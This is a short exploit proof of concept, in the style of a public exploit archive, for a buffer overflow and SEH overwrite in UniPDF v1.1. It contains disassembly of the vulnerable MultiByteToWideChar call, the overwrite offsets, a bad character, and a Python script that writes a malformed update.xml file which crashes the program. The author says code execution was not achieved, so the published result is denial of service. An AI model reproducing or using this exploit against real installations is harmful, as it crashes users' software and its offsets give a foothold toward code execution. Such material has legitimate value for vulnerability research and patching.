# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC # Google Dork: [none] # Date: 01/28/2015 # Exploit Author: bonze # Email: dungvtr@gmail.com # Vendor Homepage: http://unipdf.com/ # Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download) # Version: 1.1 # Tested on: Windows 7 SP1 EN # CVE : [none] # Note: # Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking # Please tell me if you have any ideal #013E8012 |. 68 00020000 PUSH 200 ; /WideBufSize = 200 (512.) #013E8017 |. 8D8C24 9C0000> LEA ECX,DWORD PTR SS:[ESP+9C] ; | #013E801E |. 51 PUSH ECX ; |WideCharBuf #013E801F |. 52 PUSH EDX ; |StringSize #013E8020 |. 50 PUSH EAX ; |StringToMap #013E8021 |. 6A 00 PUSH 0 ; |Options #013E8023 |. 6A 00 PUSH 0 ; |CodePage = CP_ACP #013E8025 |. FF15 54B45101 CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi> ; \MultiByteToWideChar #013E802B |. 8D87 08020000 LEA EAX,DWORD PTR DS:[EDI+208] # At Offset: 327-> overwrite nSEH # At Offset: 329-> overwrite SEH # badchar = 0x22 buff2 = "A" * 325 buff2+= "CC" # nSEH buff2+= "BB" # SEH crash2 = "<config>\n" crash2 += " <current Dat=\"1422420474\" />\n" crash2 += " <Dat Txt=\""+buff2+"\" />\n" crash2 += "</config>\n" # Copy file update.xml to UniPDF Application Folder and run UniPDF.exe file = open("update.xml","w") file.write(crash2) file.close() print "UniPDF v1.1 Crash PoC by bonze at FPT-IS" print "Email: dungvtr@gmail.com" print "File Created"